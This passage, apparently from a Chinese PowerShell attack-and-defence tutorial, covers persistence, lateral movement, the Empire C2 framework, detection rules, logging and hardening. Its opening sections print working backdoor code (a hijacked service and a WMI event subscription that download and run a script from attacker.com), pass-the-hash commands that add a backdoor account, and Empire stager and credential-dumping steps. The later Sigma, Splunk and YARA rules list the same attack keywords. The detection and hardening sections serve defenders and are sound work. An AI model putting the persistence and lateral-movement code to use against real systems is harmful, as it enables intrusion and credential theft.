# 启动服务
Start-Service -Name $serviceName

# 修改现有服务为后门(更隐蔽)
$existingService = Get-Service -Name "SomeUnusedService"
Set-Service -Name $existingService.Name -StartupType Automatic
sc.exe config $existingService.Name binPath= "powershell.exe -WindowStyle Hidden -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/backdoor.ps1')"
5.2.4 WMI事件订阅持久化(完整代码示例)
powershell 复制代码
# 完整的WMI永久事件订阅后门
# 该后门在系统启动后300秒自动执行,且不会在任务管理器中显示

# 1. 创建事件过滤器
$filterQuery = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime > 300"
$filterPath = "\\.\root\subscription:__EventFilter.Name='PersistenceFilter'"
$filter = ([wmiclass]"root\subscription:__EventFilter").CreateInstance()
$filter.Name = "PersistenceFilter"
$filter.QueryLanguage = "WQL"
$filter.Query = $filterQuery
$filter.EventNamespace = "root\cimv2"
$filter.Put() | Out-Null

# 2. 创建命令行事件消费者
$consumerPath = "\\.\root\subscription:CommandLineEventConsumer.Name='PersistenceConsumer'"
$consumer = ([wmiclass]"root\subscription:CommandLineEventConsumer").CreateInstance()
$consumer.Name = "PersistenceConsumer"
$consumer.CommandLineTemplate = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')"
$consumer.ExecutablePath = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
$consumer.Put() | Out-Null

# 3. 绑定过滤器和消费者
$bindingPath = "\\.\root\subscription:__FilterToConsumerBinding.Filter='PersistenceFilter',Consumer='PersistenceConsumer'"
$binding = ([wmiclass]"root\subscription:__FilterToConsumerBinding").CreateInstance()
$binding.Filter = $filterPath
$binding.Consumer = $consumerPath
$binding.Put() | Out-Null

Write-Output "[+] WMI持久化后门已安装"

# 验证后门
Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding

5.3 横向移动

5.3.1 PowerShell Pass-the-Hash
powershell 复制代码
# 使用Invoke-SMBClient进行PTH(来自PowerSploit)
Import-Module .\Invoke-SMBClient.ps1

# 使用NTLM哈希访问SMB共享
$hash = "31d6cfe0d16ae931b73c59d7e0c089c0"
Invoke-SMBClient -Hash $hash -Domain contoso -Username Administrator -Action List -Source \\192.168.1.10\C$

# 使用Invoke-SMBExec通过哈希远程执行命令
Invoke-SMBExec -Hash $hash -Domain contoso -Username Administrator -Command "net user backdoor P@ss123 /add" -Target 192.168.1.10

# 使用Invoke-WMICommand通过WMI进行PTH
Invoke-WMICommand -Hash $hash -Domain contoso -Username Administrator -ScriptBlock { whoami } -ComputerName 192.168.1.10

# 使用Invoke-PsExec进行PTH
Import-Module .\Invoke-PsExec.ps1
Invoke-PsExec -Hash $hash -Domain contoso -Username Administrator -ComputerName 192.168.1.10 -Command "hostname"
5.3.2 PowerShell远程执行命令
powershell 复制代码
# 使用哈希进行Pass-the-Hash并远程执行
# 方法一:使用RunAs配合哈希(需要额外工具)
# 方法二:使用PowerShell Remoting + PTH

# 通过Invoke-Command使用凭据对象远程执行
$secPassword = ConvertTo-SecureString "Password123" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("contoso\Administrator", $secPassword)
Invoke-Command -ComputerName 192.168.1.10 -Credential $cred -ScriptBlock {
whoami
ipconfig /all
net user
}

# 批量横向移动执行
$targets = @("192.168.1.10", "192.168.1.11", "192.168.1.12")
$results = Invoke-Command -ComputerName $targets -Credential $cred -ScriptBlock {
[PSCustomObject]@{
Host = $env:COMPUTERNAME
User = whoami
IP = (Get-NetIPConfiguration).IPv4Address.IPAddress
OS = (Get-WmiObject Win32_OperatingSystem).Caption
}
}
$results | Format-Table -AutoSize
5.3.3 各横向移动技术对比
横向移动技术 所需凭据类型 端口 日志记录 检测难度
Pass-the-Hash (SMB) NTLM哈希 445 4624/4672
PowerShell Remoting 明文密码/票据 5985/5986 4624/4648/4104
WMI远程执行 明文密码/哈希 135+动态 4624
PsExec替代 明文密码/哈希 445+动态 4624/4688/7045
Overpass-the-Hash NTLM哈希 88+445 4624/4768
Pass-the-Ticket Kerberos票据 445/5985 4624

**【提示】**WMI和WinRM方式的横向移动相对隐蔽,不会创建明显的服务或进程,是红队首选的横向移动方式。

六、PowerShell Empire框架

6.1 Empire概述与安装

PowerShell Empire是一个后期利用框架,专为PowerShell后渗透阶段设计。Empire无需在目标系统上落地文件,所有通信均通过加密的HTTP/HTTPS通道进行,是红队常用的C2框架。

bash 复制代码
# Docker方式部署Empire
docker pull empireproject/empire
docker run -it -p 80:80 -p 443:443 empireproject/empire

# 源码方式安装(Kali Linux)
git clone https://github.com/BC-SECURITY/Empire.git
cd Empire
pip3 install -r requirements.txt
python3 setup.py install

# 启动Empire
./empire

# 启动REST API服务
./empire --rest --username empireadmin --password Password123

6.2 Empire基本使用流程

6.2.1 创建Listener监听器
bash 复制代码
# 进入Empire交互界面后

# 查看已有监听器
listeners

# 创建HTTP监听器
uselistener http
set Name http_listener
set Host http://attacker.com
set Port 80
set DefaultProfile "/admin/get.php,/login/process.php|Mozilla/5.0"
execute

# 创建HTTPS监听器
uselistener http
set Name https_listener
set Host https://attacker.com
set Port 443
set CertPath /path/to/cert.pem
execute

# 创建重定向监听器(用于隐蔽C2)
uselistener redirector
set Name redirector_listener
set Listener http_listener
execute
6.2.2 生成Stager
bash 复制代码
# 查看可用的Stager
usestager

# 生成PowerShell一句话Stager
usestager launcher
set Listener http_listener
set Language powershell
execute
# 输出类似:powershell -noP -sta -w 1 -enc <Base64编码的Stager>

# 生成Bat Stager
usestager launcher_bat
set Listener http_listener
execute

# 生成DLL Stager
usestager dll
set Listener http_listener
execute

# 生成HTA Stager(通过HTML Application执行)
usestager hta
set Listener http_listener
execute
6.2.3 Agent上线与管理
bash 复制代码
# 查看已上线的Agent
agents

# 与Agent交互
interact <AgentName>

# 执行Shell命令
shell whoami
shell ipconfig /all

# 执行PowerShell模块
usemodule powershell_collection_get_userinfo
execute

# 上传文件
upload /path/to/local/file.txt C:\Windows\Temp\file.txt

# 下载文件
download C:\Users\victim\document.txt

# 切换通信协议
usemodule powershell_management_switch_listener
set Listener https_listener
execute

# 提权
usemodule powershell_privesc_getsystem
execute

# 清理痕迹
usemodule powershell_management_invoke_eventvwr

6.3 Empire常用模块表

模块类别 模块名称 功能说明
collection powershell_collection_get_userinfo 收集当前用户和系统信息
collection powershell_collection_screenshot 截取屏幕截图
collection powershell_collection_keylogger 键盘记录
collection powershell_collection_minidump 转储LSASS进程内存
credentials powershell_credentials_mimikatz_logonpasswords 使用Mimikatz导出登录密码
credentials powershell_credentials_mimikatz_kerberos_tickets 导出Kerberos票据
credentials powershell_credentials_invoke_kerberoast Kerberoasting攻击
lateral powershell_lateral_movement_invoke_execwmimethod 通过WMI横向移动
lateral powershell_lateral_movement_invoke_psexec 通过PsExec横向移动
lateral powershell_lateral_movement_invoke_smbexec 通过SMBExec横向移动
persistence powershell_persistence_elevated_registry 注册表权限维持
persistence powershell_persistence_elevated_schtasks 计划任务权限维持
persistence powershell_persistence_elevated_wmi WMI事件订阅权限维持
privesc powershell_privesc_getsystem 获取SYSTEM权限
privesc powershell_privesc_bypassuac 绕过UAC提权

6.4 Empire与Cobalt Strike的对比

特性 PowerShell Empire Cobalt Strike
脚本语言 PowerShell/C# Sleep/Aggressor Script
通信协议 HTTP/HTTPS HTTP/HTTPS/DNS/SMB/TCP
免费使用 开源免费 商业授权(约3500美元/年)
内存执行
Beacon功能 有(支持中继和管道通信)
检测难度 中(特征较明显) 中(可定制性更强)
社区支持 活跃 活跃
模块生态 丰富(社区贡献) 丰富(付费市场)

6.5 Empire检测特征与防御

Empire的检测特征主要包括:

  1. Stager使用-enc参数执行Base64编码命令
  2. User-Agent特征字符串
  3. 默认通信URL路径模式(/admin/get.php等)
  4. 内存中加载大量.NET程序集
  5. 使用System.Net.WebClient进行网络通信

防御建议:

  1. 启用PowerShell脚本块日志捕获解码后的Empire Stager
  2. 配置网络IDS规则检测Empire默认通信特征
  3. 使用AMSI检测Empire模块加载
  4. 监控异常PowerShell进程树(如Word → PowerShell)

七、PowerShell安全检测与监控

7.1 PowerShell日志体系

7.1.1 PowerShell脚本块日志(Event ID 4104)

脚本块日志是最有价值的PowerShell审计日志,能够记录解码后的实际执行内容,即使攻击者使用了编码或混淆技术。

字段名称 说明
EventID 4104(脚本块执行)
MessageNumber 消息序号
MessageTotal 总消息数(脚本过长时分多条记录)
ScriptBlockText 脚本块内容(最核心字段)
ScriptBlockId 脚本块唯一标识
Path 脚本文件路径(若从文件执行)
LogLevel 日志级别(WARNING表示可疑内容)

日志位置:

复制代码
事件查看器 → 应用程序和服务日志 → Microsoft → Windows → PowerShell → ScriptBlockLogging → 运行
7.1.2 PowerShell模块日志(Event ID 4103)

模块日志记录PowerShell管道执行过程的详细信息,包括Cmdlet参数和执行结果。

7.1.3 PowerShell转录日志

转录日志记录PowerShell会话的完整输入输出,格式如下:

复制代码
**********************
Windows PowerShell Transcript Start
Start time: 20260114103025
Username: CONTOSO\Administrator
RunAs User: CONTOSO\Administrator
Configuration Name: 
Machine: DC01 (Microsoft Windows NT 10.0.19045.0)
Host Application: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Process ID: 4520
PSVersion: 5.1.19041.3803
PSEdition: Desktop
PSCompatibleVersions: 1.0, 2.0, 3.0, 4.0, 5.0, 5.1.19041.3803
BuildVersion: 10.0.19041.3803
CLRVersion: 4.0.30319.42000
WSManStackVersion: 3.0
PSRemotingProtocolVersion: 2.3
SerializationVersion: 1.1.0.1
**********************
Transcript started, output file is C:\Logs\PowerShell_transcript.DC01.+mF3kM3D.20260114103025.txt
PS C:\> Get-Process lsass

Handles  NPM(K)    PM(K)      WS(K)    CPU(s)     Id  SI ProcessName
-------  ------    -----      -----    ------     --  -- -----------
1024      35    12456      34567      12.34   648   0 lsass


**********************
Windows PowerShell Transcript End
End time: 20260114103100
**********************
7.1.4 Windows PowerShell经典日志
事件ID 日志类型 说明
400 引擎状态 PowerShell引擎启动
403 引擎状态 PowerShell引擎停止
500 已弃用 旧版PowerShell管道执行
600 已弃用 旧版PowerShell提供程序注册
800 管道执行 PowerShell管道执行详情(旧版)
7.1.5 各日志类型对比
日志类型 日志内容 默认状态 启用方法 检测价值
脚本块日志(4104) 解码后脚本内容 未启用 注册表/组策略 极高
模块日志(4103) 管道执行详情 未启用 注册表/组策略
转录日志 完整输入输出 未启用 注册表/组策略
经典日志(400/800) 引擎和管道状态 启用 默认启用
事件ID 4104警告 可疑脚本块 自动记录 默认记录警告级别 极高

**【提示】**即使不手动启用脚本块日志,PowerShell 5.0+也会自动记录被标记为可疑的脚本块(如包含Invoke-Mimikatz、DownloadString等关键字),这些警告级别日志默认开启。

7.2 启用PowerShell日志的配置方法

7.2.1 组策略配置PowerShell日志

配置路径:

复制代码
计算机配置 → 管理模板 → Windows 组件 → Windows PowerShell

可配置项:

  1. 打开模块日志记录 → 启用 → 模块名称填写 *
  2. 打开PowerShell脚本块日志记录 → 启用
  3. 打开PowerShell脚本执行 → 可选配置
  4. 打开PowerShell转录 → 启用 → 设置输出目录
7.2.2 注册表配置脚本块日志
powershell 复制代码
# 启用脚本块日志(推荐)
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows\PowerShell\ScriptBlockLogging"
if (!(Test-Path $regPath)) {
New-Item -Path $regPath -Force
}
Set-ItemProperty -Path $regPath -Name "EnableScriptBlockLogging" -Value 1 -Type DWord

# 启用脚本块Invoke日志(记录所有脚本块的详细调用信息)
Set-ItemProperty -Path $regPath -Name "EnableScriptBlockInvocationLogging" -Value 1 -Type DWord

# 验证配置
Get-ItemProperty -Path $regPath
7.2.3 注册表配置模块日志
powershell 复制代码
# 启用模块日志
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows\PowerShell\ModuleLogging"
if (!(Test-Path $regPath)) {
New-Item -Path $regPath -Force
}
Set-ItemProperty -Path $regPath -Name "EnableModuleLogging" -Value 1 -Type DWord

# 配置记录所有模块
$moduleNamesPath = "$regPath\ModuleNames"
if (!(Test-Path $moduleNamesPath)) {
New-Item -Path $moduleNamesPath -Force
}
Set-ItemProperty -Path $moduleNamesPath -Name "*" -Value "*" -Type String

# 验证配置
Get-ItemProperty -Path $regPath
7.2.4 注册表配置转录日志
powershell 复制代码
# 启用转录日志
$regPath = "HKLM:\SOFTWARE\Microsoft\Windows\PowerShell\Transcription"
if (!(Test-Path $regPath)) {
New-Item -Path $regPath -Force
}

# 启用转录
Set-ItemProperty -Path $regPath -Name "EnableTranscripting" -Value 1 -Type DWord

# 设置输出目录
Set-ItemProperty -Path $regPath -Name "OutputDirectory" -Value "C:\Logs\PowerShell" -Type String

# 启用包含调用者信息
Set-ItemProperty -Path $regPath -Name "EnableInvocationHeader" -Value 1 -Type DWord

# 验证配置
Get-ItemProperty -Path $regPath

7.3 PowerShell检测规则

7.3.1 Sigma规则检测PowerShell恶意行为

检测Base64编码命令的Sigma规则:

yaml 复制代码
title: PowerShell Encoded Command Execution
id: fb558438-3b8c-4c1c-8b7c-8e574c2b63a3
status: experimental
description: Detects PowerShell execution with Base64 encoded commands
references:
- https://attack.mitre.org/techniques/T1059/001/
author: Security Team
date: 2026/01/14
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
CommandLine|contains:
- '-EncodedCommand'
- '-enc '
- '-e '
condition: selection
fields:
- CommandLine
- ParentImage
falsepositives:
- Legitimate administrative scripts
level: high
tags:
- attack.execution
- attack.t1059.001

检测Invoke-Mimikatz的Sigma规则:

yaml 复制代码
title: Invoke-Mimikatz Execution
id: 06d5d01c-87c1-4c5c-9c3e-57c5d0e5a5e0
status: experimental
description: Detects Invoke-Mimikatz execution via PowerShell
author: Security Team
date: 2026/01/14
logsource:
product: windows
service: powershell
detection:
selection:
EventID: 4104
ScriptBlockText|contains:
- 'Invoke-Mimikatz'
- 'DumpCreds'
- 'sekurlsa::logonpasswords'
- 'lsadump::sam'
- 'lsadump::dcsync'
condition: selection
fields:
- ScriptBlockText
- ComputerName
- User
falsepositives:
- Authorized penetration testing
level: critical
tags:
- attack.credential_access
- attack.t1003.001

检测AMSI Bypass的Sigma规则:

yaml 复制代码
title: AMSI Bypass via Reflection
id: 8c6804a3-2c0e-4b9c-b25b-2c93c5e0a5c1
status: experimental
description: Detects AMSI bypass attempts via reflection
author: Security Team
date: 2026/01/14
logsource:
product: windows
service: powershell
detection:
selection_amsi:
EventID: 4104
ScriptBlockText|contains:
- 'AmsiUtils'
- 'amsiInitFailed'
- 'amsiScanBuffer'
- 'AmsiScanBuffer'
selection_reflection:
ScriptBlockText|contains:
- 'System.Management.Automation.AmsiUtils'
- 'NonPublic,Static'
condition: selection_amsi or selection_reflection
fields:
- ScriptBlockText
- ComputerName
falsepositives:
- Security research
level: critical
tags:
- attack.defense_evasion
- attack.t1562.001
7.3.2 Splunk SPL查询检测PowerShell
splunk 复制代码
// 搜索4104事件中的恶意关键字
index=windows source="*PowerShell*4104"
(
"Invoke-Mimikatz" OR
"DownloadString" OR
"IEX" OR
"Invoke-Expression" OR
"EncodedCommand" OR
"AmsiUtils" OR
"amsiInitFailed" OR
"Invoke-Obfuscation" OR
"Bypass" OR
"Hidden"
)
| stats count by ComputerName, User, ScriptBlockText
| sort -count

// 检测混淆命令(检测反引号、字符替换等混淆特征)
index=windows source="*PowerShell*4104"
(
match(ScriptBlockText, "`[a-zA-Z]") OR
match(ScriptBlockText, "\[char\]") OR
match(ScriptBlockText, "ConvertFromUtf32") OR
match(ScriptBlockText, "-join") OR
match(ScriptBlockText, "-f\s'") OR
match(ScriptBlockText, "\+.*\+.*\+")
)
| stats count by ComputerName, User
| sort -count

// 检测从网络下载并执行的PowerShell命令
index=windows source="*PowerShell*4104"
(
"Net.WebClient" OR
"DownloadString" OR
"DownloadFile" OR
"Invoke-WebRequest" OR
"Invoke-RestMethod"
)
AND
(
"IEX" OR
"Invoke-Expression" OR
"Start-Process"
)
| table _time, ComputerName, User, ScriptBlockText

// 检测可疑的PowerShell父进程(如Word、Excel等Office程序调用PowerShell)
index=windows source="*Sysmon*" EventCode=1
(Image="*powershell.exe" OR Image="*pwsh.exe")
AND
(ParentImage="*winword.exe" OR ParentImage="*excel.exe" OR ParentImage="*outlook.exe")
| table _time, ComputerName, User, ParentImage, Image, CommandLine
7.3.3 YARA规则检测PowerShell恶意脚本

检测Invoke-Mimikatz的YARA规则:

yara 复制代码
rule Detect_Invoke_Mimikatz
{
meta:
description = "Detects Invoke-Mimikatz PowerShell script"
author = "Security Team"
date = "2026-01-14"
severity = "critical"
strings:
$mimikatz1 = "Invoke-Mimikatz" nocase
$mimikatz2 = "DumpCreds" nocase
$mimikatz3 = "sekurlsa::logonpasswords" nocase
$mimikatz4 = "lsadump::sam" nocase
$mimikatz5 = "lsadump::dcsync" nocase
$mimikatz6 = "kerberos::ptt" nocase
$mimikatz7 = "privilege::debug" nocase
condition:
2 of ($mimikatz*)
}

rule Detect_PowerShell_Empire_Stager
{
meta:
description = "Detects PowerShell Empire Stager patterns"
author = "Security Team"
date = "2026-01-14"
severity = "high"
strings:
$empire1 = "IEX(New-Object Net.WebClient)" nocase
$empire2 = "DownloadString" nocase
$empire3 = /\/admin\/get\.php/ nocase
$empire4 = /\/login\/process\.php/ nocase
$empire5 = "System.Net.WebClient" nocase
$empire6 = "[Reflection.Assembly]::Load" nocase
condition:
2 of ($empire*)
}
7.3.4 常见PowerShell攻击行为检测关键字表
关键字 攻击行为 检测价值
Invoke-Mimikatz 凭据窃取 极高
DumpCreds 凭据导出 极高
DownloadString 远程脚本下载
DownloadFile 远程文件下载
IEX / Invoke-Expression 内存执行脚本
EncodedCommand / -enc Base64编码执行
AmsiUtils / amsiInitFailed AMSI绕过 极高
Invoke-Obfuscation 代码混淆框架
ExecutionPolicy Bypass 执行策略绕过
-WindowStyle Hidden 隐藏窗口执行
Add-Type 编译并加载C#代码
Reflection.Assembly 反射加载.NET程序集
Net.WebClient WebClient网络通信
Invoke-WmiMethod WMI远程执行
Set-WmiInstance WMI对象创建(可能用于持久化)
CommandLineEventConsumer WMI事件消费者(持久化)

7.4 AMSI检测集成

AMSI不仅用于PowerShell脚本扫描,其扫描结果可以与EDR产品联动,实现实时告警。

powershell 复制代码
# 查看已注册的AMSI提供者(杀毒引擎)
$amsiProviders = Get-ChildItem "HKLM:\SOFTWARE\Microsoft\AMSI\Providers" -ErrorAction SilentlyContinue
$amsiProviders | ForEach-Object {
$providerCLSID = $_.PSChildName
$providerPath = (Get-ItemProperty "HKLM:\SOFTWARE\Classes\CLSID\$providerCLSID\InProcServer32")."(default)"
[PSCustomObject]@{
CLSID = $providerCLSID
Path = $providerPath
}
}

// EDR告警示例(JSON格式)
{
"timestamp": "2026-01-14T10:30:45Z",
"event_type": "AMSI_DETECTION",
"process": "powershell.exe",
"pid": 4520,
"user": "CONTOSO\\user",
"amsi_result": "AMSI_RESULT_DETECTED",
"scan_source": "Windows Defender",
"threat_name": "Trojan:PowerShell/Mimikatz.A",
"script_content": "Invoke-Mimikatz -DumpCreds",
"action_taken": "BLOCKED",
"severity": "CRITICAL"
}

**【提示】**AMSI是PowerShell安全检测的第一道防线,但攻击者有多种Bypass方法。安全团队应将AMSI作为纵深防御的一环,结合脚本块日志和行为分析进行多层检测。

八、PowerShell安全加固方案

8.1 启用Constrained Language Mode

受限语言模式是PowerShell最重要的安全加固措施之一,可显著限制攻击者的能力。

powershell 复制代码
# 全局启用受限语言模式(通过环境变量)
[Environment]::SetEnvironmentVariable("__PSLockdownPolicy", "4", "Machine")

# 验证当前语言模式
$ExecutionContext.SessionState.LanguageMode

# 通过注册表强制受限语言模式
$regPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"
Set-ItemProperty -Path $regPath -Name "__PSLockdownPolicy" -Value 4 -Type DWord

受限语言模式限制COM/WMI/.NET调用的影响:

功能 Full Language Mode Constrained Language Mode
调用.NET API 允许 禁止(白名单除外)
调用COM对象 允许 禁止
Add-Type编译代码 允许 禁止
反射操作 允许 禁止
基本Cmdlet 允许 允许
管道操作 允许 允许
WMI高级操作 允许 禁止
Invoke-Expression 允许 禁止

**【注意】**受限语言模式可能导致部分合法管理脚本无法运行。部署前应在测试环境中充分验证。

8.2 PowerShell Constrained Language Mode + AppLocker组合方案

当系统启用AppLocker策略后,PowerShell会自动切换到受限语言模式。仅在AppLocker白名单中的脚本可以在Full Language Mode下执行。

powershell 复制代码
# 检查AppLocker是否已启用
Get-AppLockerPolicy -Effective -Xml

# 创建AppLocker策略(仅允许特定路径的PowerShell脚本执行)
$policyRules = @()
$condition = New-AppLockerPolicyCondition -PathCondition -Path "C:\AllowedScripts\*"
$rule = New-AppLockerPolicyRule -Name "AllowApprovedScripts" -Condition $condition -Action Allow
$policyRules += $rule
$policyRules += New-AppLockerPolicyRule -Name "DenyAll" -Condition (New-AppLockerPolicyCondition -PathCondition -Path "*") -Action Deny

# 生成AppLocker策略XML
$xmlPolicy = New-AppLockerPolicy -Rule $policyRules -Xml
$xmlPolicy | Out-File "C:\AppLockerPolicy.xml"
Set-AppLockerPolicy -XmlPolicy "C:\AppLockerPolicy.xml"

8.3 Windows Defender Application Control(WDAC)配置

WDAC(又称Device Guard)是比AppLocker更强大的应用控制方案,基于内核虚拟化保护(VBS)提供代码完整性策略。

xml 复制代码
<!-- WDAC策略XML示例 -->
<?xml version="1.0" encoding="utf-8"?>
<SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy">
<VersionEx>10.0.0.0</VersionEx>
<PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID>
<PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID>
<Rules>
<Rule>
<Option>Enabled:Unsigned System Integrity Policy</Option>
</Rule>
<Rule>
<Option>Enabled:Audit Mode</Option>
</Rule>
<Rule>
<Option>Enabled:Inherit Default Policy</Option>
</Rule>
<Rule>
<Option>Allowed:Signers</Option>
</Rule>
</Rules>
<!-- 仅允许微软签名和特定发布者签名的PowerShell脚本 -->
<Signers>
<Signer ID="ID_SIGNER_MICROSOFT" Name="Microsoft">
<CertRoot Type="TBS" Value="..." />
</Signer>
</Signers>
</SiPolicy>

8.4 Just Enough Administration(JEA)

JEA允许管理员为特定用户创建受限的PowerShell端点,仅暴露必要的命令,实现最小权限管理。

JEA配置文件示例:

powershell 复制代码
# 创建RoleCapability文件
$rolePath = "$env:ProgramFiles\WindowsPowerShell\Modules\JEAMaintenance\RoleCapabilities\MaintenanceRole.psrc"
New-PSRoleCapabilityFile -Path $rolePath -VisibleCmdlets @(
@{ Name = 'Get-Service'; Parameters = @{ Name = 'Name'; ValidateSet = 'Spooler','BITS','WinRM' } }
@{ Name = 'Restart-Service'; Parameters = @{ Name = 'Name'; ValidateSet = 'Spooler','BITS','WinRM' } }
'Get-Process'
'Get-EventLog'
) -VisibleFunctions @(
'Get-NetTCPConnection'
) -VisibleAliases @(
'gsv'
'gps'
)

JEA会话配置文件示例:

powershell 复制代码
# 创建SessionConfiguration文件
$psscPath = "C:\JEAMaintenance.pssc"
New-PSSessionConfigurationFile -Path $psscPath `
-SessionType RestrictedRemoteServer `
-RunAsVirtualAccount `
-RoleDefinitions @{
"CONTOSO\JEAOperators" = @{ RoleCapabilities = "MaintenanceRole" }
} `
-TranscriptDirectory "C:\Logs\JEA" `
-RequiredGroups @{ Or = "JEA-Operators" }

# 注册JEA端点
Register-PSSessionConfiguration -Path $psscPath -Name JEAMaintenance -Force

# 测试JEA端点
Enter-PSSession -ComputerName localhost -ConfigurationName JEAMaintenance

8.5 各加固方案适用场景与限制对比

加固方案 适用场景 防护强度 部署难度 兼容性影响
Constrained Language Mode 限制脚本执行
AppLocker + CLM 白名单脚本控制
WDAC 内核级代码完整性 极高
JEA 最小权限管理
Script Block Logging 审计监控 不提供防护
AMSI 实时扫描
执行策略 防止误执行

**【提示】**企业应采用纵深防御策略,组合使用多种加固方案。推荐的组合为:WDAC/AppLocker + CLM + Script Block Logging + AMSI + JEA。

九、PowerShell攻击工具汇总表

以下表格汇总了常见的PowerShell攻击工具及其检测特征:

工具名称 主要功能 检测特征 来源
PowerSploit 综合后渗透框架(含Mimikatz、信息收集、代码执行) Invoke-Mimikatz、Invoke-DllInjection、Write-Userbin等函数名 GitHub开源
PowerView 域环境信息收集 Get-NetDomain、Get-NetUser、Invoke-UserHunter等函数名 PowerSploit子模块
Empire C2框架(监听器、Stager、Agent管理) -enc参数、默认URL路径、特定User-Agent BC-Security维护
Nishang 渗透测试脚本合集(包含各种攻击脚本) Invoke-PowerShellTcp、Get-PassHashes等函数名 GitHub开源
PowerTools PowerSploit辅助工具集 Invoke-ReflectivePEInjection等函数名 GitHub开源
PSAttack 免杀版PowerShell攻击工具 绕过AMSI和执行策略、自带混淆 GitHub开源
Rubeus Kerberos攻击工具 asktgt、ptt、kerberoast等子命令 GitHub开源
Invoke-Obfuscation 代码混淆框架 混淆后的代码特征、大量特殊字符 GitHub开源
PowerCat PowerShell版Netcat powercat函数调用、网络连接行为 GitHub开源
AMSITools AMSI绕过工具 AmsiScanBuffer内存修改行为 GitHub开源

**【注意】**安全团队应建立这些工具的检测特征库,结合脚本块日志、AMSI和网络流量进行多维检测。

十、总结与PowerShell安全最佳实践清单

PowerShell作为Windows系统的核心管理工具,在红蓝对抗中扮演着重要角色。攻击者利用PowerShell进行信息收集、凭据窃取、横向移动和权限维持,而防守方则需要通过日志审计、AMSI集成、语言模式限制等多层防护手段进行检测和阻断。

PowerShell安全最佳实践清单:

防御配置类:

  1. 启用PowerShell脚本块日志(Event ID 4104)
  2. 启用PowerShell模块日志(Event ID 4103)
  3. 启用PowerShell转录日志
  4. 确保AMSI已启用并正常工作
  5. 启用Windows Defender实时保护
  6. 配置AppLocker或WDAC代码完整性策略
  7. 部署JEA最小权限管理端点
  8. 限制PowerShell远程执行(WinRM)的访问范围
  9. 配置Sysmon监控PowerShell进程创建和命令行参数
  10. 将PowerShell日志转发到SIEM平台进行集中分析

检测规则类:

  1. 建立Sigma规则检测Base64编码命令执行

  2. 建立规则检测Invoke-Mimikatz等凭据窃取工具

  3. 建立规则检测AMSI Bypass行为

  4. 建立规则检测网络下载并执行行为(IEX + DownloadString)

  5. 建立规则检测WMI事件订阅持久化

  6. 建立规则检测可疑父进程调用PowerShell(如Office程序)

  7. 建立规则检测反引号和字符替换混淆

  8. 建立规则检测Invoke-Obfuscation混淆输出

  9. 建立YARA规则扫描落地脚本文件

  10. 配置EDR行为分析检测异常PowerShell活动

加固防护类:

  1. 将不必要的PowerShell版本(如2.0)通过AppLocker禁用

  2. 在服务器上部署Constrained Language Mode

  3. 使用WDAC策略仅允许签名脚本执行

  4. 限制非管理员用户使用PowerShell Remoting

  5. 定期审计PowerShell历史文件(ConsoleHost_history.txt)

  6. 监控WMI命名空间中的事件订阅(root\subscription)

  7. 监控注册表Run键和计划任务中的可疑条目

  8. 定期审查PowerShell模块和脚本签名

  9. 对安全运维人员进行PowerShell安全培训

  10. 建立PowerShell攻击应急响应流程

最终建议:PowerShell安全防护没有银弹,攻击者总能找到新的绕过方法。安全团队应建立持续监测和快速响应的能力,结合技术手段和管理流程,构建多层纵深防御体系。定期进行红蓝对抗演练,验证检测规则的有效性,持续优化安全策略。

参考资源:

  • Microsoft PowerShell安全文档
  • MITRE ATT&CK T1059.001 PowerShell技术页面
  • PowerSploit项目文档
  • Empire项目文档
  • Sigma规则仓库
  • Splunk安全内容仓库

本文到此结束,希望对您的PowerShell安全攻防学习和企业安全建设有所帮助。如有问题欢迎交流讨论。

【声明】本文所有技术内容仅供安全研究和授权测试使用,请勿用于非法用途。因不当使用本文技术造成的任何后果,作者不承担任何责任。

相关推荐
天山@1232 小时前
内网横向移动实验:从IPC到PTT的完整攻击链
网络安全·内网横向移动
嘟哩DuliDuli2 小时前
AI 账单变高的技术原因:重复上下文和用量归属
android·人工智能·安全·ai·软件工程
清水白石0083 小时前
Python 如何设计一个线程安全的缓存?从锁策略、LRU 到工程化实战
python·安全·缓存
代码方舟3 小时前
零信任架构实战:基于天远人企关联构建自动化企业尽职调查网关
java·人工智能·架构·自动化
2603_9651481112 小时前
如何解析JSON数据?API返回的商品信息处理教程
开发语言·数据库·python·自动化·json·api
九硕智慧建筑一体化厂家13 小时前
数字化管控落地,直流照明构筑安全照明体系
运维·人工智能·笔记·安全·智慧城市
chunmiao303215 小时前
DeepSeek V4-Pro 正式版上线,API 8月17日起分时调价
网络·安全
湘美书院--湘美谈教育16 小时前
湘美书院主理人谈AI文学:提示词与Skill的与时俱进
大数据·人工智能·安全·自动化·生活
hz5678916 小时前
视频会议终端对接详解:协议兼容、系统集成与常见问题
安全·实时音视频·信息与通信